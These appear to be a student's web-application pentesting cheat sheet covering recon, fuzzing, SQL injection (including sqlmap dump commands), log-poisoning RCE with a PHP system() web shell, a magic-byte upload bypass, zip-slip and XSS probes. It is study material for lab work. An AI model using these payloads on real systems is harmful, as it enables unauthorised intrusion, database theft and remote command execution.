Reconnaissance

scan

- nikto --url [url]
- Zap
 - ♦ Automated scan
 - ♦ enter url
 - Attack button

crawl

- •Burpsuite #it includes crawler which will followe every link and input form in the website
 - new scan -> crawl

page source

- view the html source of web page # right-click -> view page source or add view-source: before the http://
 - ♦ look for :
 - src (src=)
 - href (href=)
 - hidden (type="hidden")
 - script (<script>)
 - comments (<script>)

improtant files

- files and directories to check if its exist
 - ⋄ robot.txt
 - .htaccess
 - sitemap.xml
 - config.php
 - ⋄ readme
 - security.txt

Fuzzing

FILES

- gobuster dir --url http://10.10.149.157/ --wordlist /usr/share/dirb/wordlists/common.txt -x .php,.txt,.html
 - extensions to fuzz
 - php
 - html
 - txt
 - bak

Directory

• gobuster dir --url <ip> --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

parameters

Name:

• wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh <length of response without parameter> http://example.com/index.php?FUZZ

Value:

• wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh <length of response without parameter> http://example.com/index.php?FUZZ

loaded files

- check files loaded by webpage
 - ♦ f12 -> network tab

parameters

- look for parameters (?id=1) in get requests (links) and try
 - ♦ LFT
 - ♦ sqli

Input forms

- look for all input forms
 - ⋄ register
 - contact
 - ♦ login
 - ♦ search
- to be tested for
 - ♦ sqli
 - ♦ XSS

- ♦ ssti
- os command injection

login

- sqli ' or 1=1--
- null bind

registeration

- Create users with following criteria may be signed in database as one
 - with same name but different cases
 - with same name with adding space

cookies

• check avaliable cookies after login

Requests & responses

- check requests by webapp for valuable data
- try change request

Authorization

- search for authorization types
 - ♦ admin

- ♦ user
- check the json representation of html files if avaliable
- tamper with links to access other contents # ?user=attacker -> ?user=victim

Exploits

Server Side

Authentication

- Brute Forcing/Weak Credentials
 - seclist -> names.txt
- Session Management (cookies)
- null bind (login forms)

LFI

- LFI like directory traversal instead of only reading file it allows to execute php tags
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

RCE

esclate to RCE with log poisoning

- try read access.log
- o intercept the request and inject php code in user-agent #<?php system(\$_GET
 ['cmd']); ?>
- ⋄ access the log again and add &cmd=[command] to the end and search for the output

file uplaod

• check the upload request

bypass waf

- bypass
 - exif_imagetype #magicbytes checker
 - fh = open('shell.php', 'w')
 - fh.write('\xFF\xD8\xFF\xE0' + '<? passthru(\$_GET["cmd"]); ?>')
 - fh.close()

file types

zip

- if website show to content of uploaded zip use zip slip to read local file
 - ♦ In -s <pathtofile> symlink
 - zip --symlinks symlink.zip symlink

Injection

sqli

- add ' or " and look for errors if no errors try blind sqli
- using like binary instead of =
- combine username and password # query = select * from users where username="[input]" and password ="[input]"
 - write /* in username
- write */ in password #this will comment this part " and password =" from the query
 - ♦ then write " or 1=1 --
- \diamond modified query = select * from users where username="/*" and password ="*/ " or 1=1 --

blind sqli

time based

• " select sleep(10); -- #sleep for 10 second

waf bypass

owasp sqli waf bypass

automation

- sqlmap #r.txt is the request copy from burp suite
 - ⋄ list possible database : sqlmap -r r.txt --dbs --batch
 - ⋄ list tables of database : sqlmap -r r.txt -D databasename --table --batch
- ⋄ list columns of database : sqlmap -r r.txt -D databasename -T tablename -columns --batch
- ◇ retrive data from column : sqlmap -r r.txt -D databasename -T tablename -C [column1,column2,...] --batch --dump
 - read file : sqlmap -r r.txt --file-read=[path]

ssti

tplmap #ssti automation tool

OS command injection

Mass assignment

owasp cheat sheet

Application Logic

https://www.netsparker.com/blog/web-security/logical-vs-technical-web-application-

Client Side

XSS

- look for reflected text
 - try ><script>alert(1);</script>
 - check cheatsheets for bypassing techniques